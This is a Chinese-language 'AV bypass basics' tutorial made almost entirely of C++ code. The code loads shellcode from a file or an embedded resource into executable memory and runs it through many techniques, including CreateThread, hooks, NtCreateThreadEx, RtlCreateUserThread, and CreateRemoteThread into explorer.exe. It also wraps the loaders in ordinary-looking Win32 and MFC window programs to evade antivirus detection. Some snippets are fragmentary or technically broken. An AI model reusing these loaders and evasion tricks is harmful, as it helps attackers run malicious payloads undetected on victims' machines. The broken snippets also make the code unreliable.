万字写AvBypass基础,看了你就入门了
#include <iostream>
int main() {
std::cout << "Hello, World!" << std::endl;
return 0;
}
int main() {
// 打开二进制文件 1.bin
std::ifstream file("1.bin", std::ios::binary);
if (!file) {
std::cerr << "无法打开 1.bin 文件" << std::endl;
return -1;
}
// 获取文件大小
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
// 读取文件内容到缓冲区
char* shellcode = new char[fileSize];
file.read(shellcode, fileSize);
file.close();
// 分配可执行内存
void* execMemory = VirtualAlloc(0, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
std::cerr << "内存分配失败" << std::endl;
delete[] shellcode;
return -1;
}
// 将 shellcode 写入分配的内存
memcpy(execMemory, shellcode, fileSize);
delete[] shellcode;
// 执行 shellcode
typedef void (*ShellcodeFunc)();
ShellcodeFunc executeShellcode = (ShellcodeFunc)execMemory;
executeShellcode(); // 调用 shellcode
return 0;
}
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
typedef void (*ShellcodeFunc)();
ShellcodeFunc func = (ShellcodeFunc)execMem;
func();
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)execMem, 0, GetCurrentThreadId());
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
HMODULE hModule = LoadLibrary("kernel32.dll");
GetProcAddress(hModule, "GetProcAddress");
typedef void (*ShellcodeFunc)();
ShellcodeFunc func = (ShellcodeFunc)execMem;
func();
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
__asm {
jmp execMem
}
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
pNtCreateThreadEx NtCreateThread = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
HANDLE hThread;
NtCreateThread(&hThread, THREAD_EXECUTE, 0, GetCurrentProcess(), execMem, 0, 0, 0, 0, 0, 0);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(0, "explorer.exe", 0, 0, FALSE, CREATE_NEW_PROCESS_GROUP, 0, 0, &si, &pi);
CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
HANDLE hFile = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_EXECUTE_READWRITE, 0, size, 0);
void* execMem = MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS, 0, 0, size);
memcpy(execMem, shellcode, size);
typedef void (*ShellcodeFunc)();
ShellcodeFunc func = (ShellcodeFunc)execMem;
func();
UnmapViewOfFile(execMem);
CloseHandle(hFile);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
std::function<void()> func = [execMem]() {
typedef void (*ShellcodeFunc)();
ShellcodeFunc func = (ShellcodeFunc)execMem;
func();
};
func();
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
__asm {
jmp execMem
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
void (*func)() = (void(*)())lParam;
func();
return 0;
}
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
SetWindowsHookEx(WH_KEYBOARD, HookProc, 0, GetCurrentThreadId());
typedef NTSTATUS(WINAPI* pRtlCreateUserThread)(
HANDLE ProcessHandle,
PVOID ObjectAttributes,
BOOL CreateSuspended,
ULONG StackZeroBits,
ULONG SizeOfStackCommit,
ULONG SizeOfStackReserve,
PVOID StartAddress,
PVOID StartParameter,
PHANDLE ThreadHandle,
PVOID ClientId
);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
HMODULE ntdll = GetModuleHandle("ntdll.dll");
pRtlCreateUserThread RtlCreateThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");
HANDLE hThread;
RtlCreateThread(GetCurrentProcess(), 0, FALSE, 0, 0, 0, execMem, 0, &hThread, 0);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
// 获取原程序入口点
PBYTE entryPoint = (PBYTE)GetModuleHandle(NULL);
entryPoint = (PBYTE)execMem;
// 强改入口点指针,使其指向新的 shellcode
SetThreadContext(GetCurrentThread(), &entryPoint);
void* execMem = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, size);
// 使用内联汇编直接跳转到 shellcode 执行
__asm {
jmp execMem
}
IDR_SHELLCODE BINARY "path_to_your_safeshellcode.bin"
#pragma comment(linker, "/ENTRY:mainCRTStartup") // 设置程序入口点
// 资源标识符,用于引用 Shellcode 资源
#define IDR_SHELLCODE 101 // 根据 rc 文件中的 IDR_SHELLCODE 定义调整
......
int main() {
// 获取资源大小和数据
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE), "BINARY");
if (hRes == NULL) {
std::cerr << "找不到 Shellcode 资源!" << std::endl;
return -1;
}
DWORD dwSize = SizeofResource(NULL, hRes);
HGLOBAL hGlobal = LoadResource(NULL, hRes);
if (hGlobal == NULL) {
std::cerr << "无法加载资源!" << std::endl;
return -1;
}
// 获取资源数据
const char* shellcode = (const char*)LockResource(hGlobal);
.....
int main() {
std::cout << "Hello, World!" << std::endl;
// 窗口过程函数,处理窗口消息
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nCmdShow) {
const char CLASS_NAME[] = "Sample Window Class";
// 定义窗口类
WNDCLASS wc = { };
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;
wc.hIcon = LoadIcon(hInstance, IDI_APPLICATION);
// 注册窗口类
RegisterClass(&wc);
// 创建窗口
HWND hwnd = CreateWindowEx(
0,
CLASS_NAME,
"Hello, Win32",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);
if (hwnd == NULL) {
return 0;
}
ShowWindow(hwnd, nCmdShow);
// 处理消息
MSG msg = { };
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// stdafx.h
#pragma once
#include <afxwin.h> // MFC 应用程序需要包含的文件
// MainFrame.h
class CMainFrame : public CFrameWnd {
public:
CMainFrame() {
Create(NULL, _T("MFC 应用程序示例"));
}
};
// MyApp.h
class CMyApp : public CWinApp {
public:
virtual BOOL InitInstance();
};
// MyApp.cpp
BOOL CMyApp::InitInstance() {
CMainFrame* pFrame = new CMainFrame();
m_pMainWnd = pFrame;
pFrame->ShowWindow(SW_SHOW);
pFrame->UpdateWindow();
return TRUE;
}
// main.cpp
CMyApp theApp;
@echo off
start program.exe
@echo off
start program.exe
没有评论